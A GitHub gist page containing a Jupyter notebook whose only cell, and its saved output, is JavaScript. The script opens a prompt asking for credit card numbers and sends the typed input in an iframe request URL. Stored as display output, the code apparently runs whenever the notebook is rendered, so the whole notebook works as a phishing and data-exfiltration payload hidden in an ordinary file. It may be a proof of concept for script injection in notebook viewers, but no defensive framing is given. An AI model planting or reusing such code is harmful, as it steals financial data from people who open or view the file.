Skip to content

Instantly share code, notes, and snippets.

@mpacer
Created January 22, 2018 22:39
Show Gist options
  • Save mpacer/f0d965d9f67797bae5bfc6693ab2a9b3 to your computer and use it in GitHub Desktop.
Save mpacer/f0d965d9f67797bae5bfc6693ab2a9b3 to your computer and use it in GitHub Desktop.
Display the source blob
Display the rendered blob
Raw
{
"cells": [
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [
{
"data": {
"application/javascript": [
"let info = prompt('credit card numbers please')\n",
"let node = document.createElement(\"iframe\")\n",
"node.src = window.location + \"/urls/\" + \"gist.github.com/04027e9f6dab423bfbbe2b0da955bba0\" + \"?info=\" +info\n",
"document.body.appendChild(node)"
],
"text/plain": [
"<IPython.core.display.Javascript object>"
]
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
"%%javascript\n",
"let info = prompt('credit card numbers please')\n",
"let node = document.createElement(\"iframe\")\n",
"node.src = window.location + \"/urls/\" + \"gist.github.com/04027e9f6dab423bfbbe2b0da955bba0\" + \"?info=\" +info\n",
"document.body.appendChild(node)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.2"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment